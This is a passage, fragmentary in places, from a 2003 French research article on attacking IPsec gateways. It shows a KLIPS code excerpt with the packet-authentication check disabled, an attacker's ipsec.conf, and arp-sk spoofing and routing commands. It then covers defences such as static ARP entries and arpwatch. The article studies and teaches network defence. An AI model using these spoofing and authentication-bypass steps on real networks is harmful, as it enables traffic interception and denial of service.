irs->ipsaddr_txt);
/*
if(irs->stats) {
irs->stats->rx_dropped++;
}
return IPSEC_RCV_AUTHFAILED;
*/
} else {
KLIPS_PRINT(debug_rcv,
"klips_debug:ipsec_rcv: "
"authentication successful.\n");
}
SPI) dont il va
avoir besoin pour décrire les associations de
sécurité au module IPsec. Voici l'extrait du
fichier ipsec.conf du pirate qui décrit
les associations de sécurité entre le Client et
la Passerelle. La valeur réelle de ahkey
n'est pas connue du pirate, mais cela n'aura pas
d'incidence puisque les modifications du module
IPsec empêcheront la vérification de
l'authenticité des paquets.
conn Client_Passerelle_AH
type=tunnel
left=192.168.1.1
leftsubnet=0.0.0.0/0
right=192.168.1.2
rightsubnet=192.168.1.2/32
spibase=0x100
ah=hmac-md5-96
ahkey=0xbabababababababababababababababa # une clef quelconque
ahreplay_window=0
rightahspi=0x112
leftahspi=0x121
Cthulhu:~# ifconfig eth0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up Cthulhu:~# route add -net 157.159.100.0 netmask 255.255.255.0 device eth0 Cthulhu:~# route add default gateway 157.159.100.76 device eth0 Cthulhu:~# echo 1 > /proc/sys/net/ipv4/ip_forward
Cthulhu:~# /etc/init.d/ipsec start ipsec_setup: Starting FreeS/WAN IPsec 2.00pre3... ipsec_setup: Using /lib/modules/2.4.21-pre3/kernel/net/ipsec/ipsec.o Cthulhu:~# ipsec manual --up Client_Passerelle_AH
Cthulhu:~# arp-sk --reply --dst "00:b0:d0:d7:64:2b" > --arp-dst 192.168.1.2:00:b0:d0:d7:64:2b --arp-src 192.168.1.1:00:03:47:fb:01:fd > --rand-time --beep
inbound_SPD) est ici mal
configurée / non configurée sur le Client.
La Figure 11 donne le cheminement des
paquets :
Figure 11 - Contournement des Politiques de Sécurité (2)
Figure 12 - Contournement des Politiques de Sécurité (3)
SPI et à empêcher
les paquets d'arriver à leur destination
légitime. La création de paquets forgés revient
alors à mener une attaque ``en aveugle'', avec
les difficultés inhérentes à ce type de
technique (détermination des numéros de séquence
TCP, etc.),
comme cela se fait contre les connexions
classiques avec telnet, netscape...
Les Paquets qui font Fausse Route...
trusted) et les interfaces débouchant
sur des réseaux peu-sûrs (untrusted).
Notamment, certains routeurs disposent de
plusieurs interfaces de confiance, desservant
les sous-réseaux de l'entreprise, et d'une
interface publique. De tels routeurs sont aussi
amenés à se comporter comme une passerelle
IPsec, par exemple pour établir un VPN avec un
site distant et / ou pour sécuriser une partie
du traffic entre des hôtes locaux et le routeur.
Le problème qui se pose alors est qu'IPsec se
limite par conception à faire des vérifications
de sécurité par interface. Cela signifie que si
les politiques de sécurité d'une interface gêne
le pirate, peut être une autre interface
répondra à ses besoins ; par ailleurs, les
politiques de sécurité sur une interface de
confiance sont souvent établies sous la forme
d'un service de sécurité offert suivant un
ensemble de conditions sur les paquets. Cela
signifie que certains paquets sont contraints à
subir un traitement de sécurité, alors que les
autres sont acheminés. Si le routeur n'effectue
pas de l'``Ingress Filtering'' (cf. [FS00]), il est possible de leurrer
totalement
un client disposant d'une association de
sécurité avec la Passerelle.
Roue:~# route add -host 192.168.1.2 gateway 192.168.1.1 device eth0 Roue:~# arp --set 192.168.1.1 00:10:5a:48:01:c5
Figure 13 - Spoofing contre la Passerelle (1)
Figure 14 - Spoofing contre la Passerelle (2)
Entrées Statiques dans le cache ARP
arp permet, en plus de
consulter l'état du cache, d'y insérer des
entrées de façon statique.
-
la protection contre
l'écrasement (
cache poisonningouarp spoofing) d'une entrée statique, - une diminution du trafic parasite sur le réseau local.
Cthulhu:~# ping -b 157.159.100.255 & ... on attend quelques secondes ... Cthulhu:~# arp --numeric | cut --characters=1-50| sed 's/ether//' > /etc/ethers Cthulhu:~# arp --file /etc/ethers
ping permet ici d'opérer un
echo_request ICMP sur le broadcast. Tous
les hôtes du réseau ne répondront peut être pas,
mais une grande majorité le fera, et ce après
avoir effectué des request ARP. Le cache
ARP de notre ordinateur se remplit donc très
vite.
arp nous
permet alors de lister le contenu du cache,
d'enlever les informations parasites et d'écrire
dans un fichier.
ping sont correctes.
Cependant, le fichier obtenu constitue une base
intéressante pour observer des comportements
incohérents (cf. partie suivante).
arp poisonning ou arp spoofing
était tenue en échec par ces définitions
statiques. Cependant, lors d'une communication,
si un seul hôte possède une entrée statique pour
décrire son peer, alors une attaque visant le
peer est toujours possible. Un déni de service
peut ainsi être obtenu, ou encore l'interception
d'une partie de la communication (dans le sens
peer --> hôte). Par ailleurs, même si les
deux correspondants disposent d'entrées
statiques, rien n'empêche le pirate d'agir
autrement que via ARP, par exemple en saturant
les tables de commutation ou en effectuant du
MAC spoofing. Une configuration adaptée
des commutateurs (blocage de ports) est
nécessaire.
arpwatch, disponible pour de nombreux
systèmes UNIX. Il semble que ce logiciel soit
``le'' grand classique en la matière.
Cthulhu:~# /etc/init.d/arpwatch start
arpwatch dispose de paramètres adaptés
pour effectuer des sorties vers différents
systèmes d'alarmes, et en particulier une sortie
générique. Un sortie snmp permet aussi de
contacter un agent et de provoquer l'émission de
traps. Par défaut, un rapport est envoyé
à l'administrateur de la machine locale par
mail, et les incohérences sont enregistrées dans
un fichier de log et affichées dans le syslog.
Une attaque par ARP peut notamment être identifiée
par l'affichage d'une ligne comme celle-ci :
syslog:Jan 30 14:51:42 cthulhu arpwatch: > ethernet mismatch 154.241.167.4 0:4:76:51:3a:7a (4e:d0:49:dd:16:7b)
- en chiffrant les paquets, IPsec limite l'intérêt de l'espionnage par ARP,
- en authentifiant et en assurant l'intégrité des paquets, IPsec compromet les attaques par modification ou par usurpation (l'anti-rejeu est aussi nécessaire).
Conclusion
[apache]
|
Apache Status : Serveur Web (Source : http://www.apache.org ) |
[arp-sk]
|
ARP Swiss Knife Status : Programme Auteur(s) : F. Raynal, E. Detoisien, C. Blancher (Source : http://www.arp-sk.org ) |
[freeswan]
|
FreeS/WAN Status : Patch Kernel Linux (Source : http://www.freeswan.ca ) |
[FS99]
|
A Cryptographic Evaluation of IPsec Date : Février 1999 Status : Article Auteur(s) : N. Ferguson, B. Schneier (Source : http://www.counterpane.com/ipsec.pdf ) |
[FS00]
|
Network Ingress Filtering: Defeating Denial of Service Attacks
which employ IP Source Address Spoofing Date : Mai 2000 Status : RFC 2827 Auteur(s) : P. Ferguson, D.Senie (Source : http://www.ietf.org/rfc/rfc2827.txt ) |
[HC98]
|
The Internet Key Exchange (IKE) Date : Novembre 1998 Status : RFC 2409 (Proposed Standard) Auteur(s) : D. Harkins, D. Carrel (Source : http://www.ietf.org/rfc/rfc2409.txt ) |
[KA98]
|
Security Architecture for the Internet Protocol Date : Novembre 1998 Status : RFC 2401 (Proposed Standard) Auteur(s) : S. Kent, R. Atkinson (Source : http://www.ietf.org/rfc/rfc2401.txt ) |
[Plu82]
|
An Ethernet Address Resolution Protocol -- or -- Converting
Network Protocol Addresses to 48.bit Ethernet Address for Transmission
on Ethernet Hardware Date : 1er Novembre 1982 Status : RFC 826 (Standard) Auteur(s) : D. C. Plummer (Source : http://www.ietf.org/rfc/rfc826.txt ) |
Coordonnées des auteurs
Jean-Jacques Puig
Doctorant
Mail :
Jean-Jacques.Puig@int-evry.fr
Site Web :
http://www-lor.int-evry.fr/~puig/
Organisation : I.N.T
Adresse :
Jean-Jacques Puig,
Pièce A109,
Département Logiciels-Réseaux (LoR),
Institut National des Télécoms (INT),
9 Rue Charles Fourier,
91011 Evry Cédex
Téléphone : 01.60.76.44.65
Fax : 01.60.76.47.11
Maryline Laurent-Maknavicius
Maître de Conférence
Mail :
Maryline.Maknavicius@int-evry.fr
Site Web :
http://www-lor.int-evry.fr/~maknavic/
Organisation : I.N.T
Adresse :
Maryline Laurent-Maknavicius
Pièce A106-02,
Département Logiciels-Réseaux (LoR),
Institut National des Télécoms (INT),
9 Rue Charles Fourier,
91011 Evry Cédex
Téléphone : 01.60.76.44.42
Fax : 01.60.76.47.11
Jean-Jacques - Puig Janvier 2003
Ce document est diffusé sous licence FDL 1.1 ou toute autre version ultérieure établie par la Free Software Fondation. Pour plus de renseignements, reportez-vous à http://www.gnu.org/copyleft/fdl.html.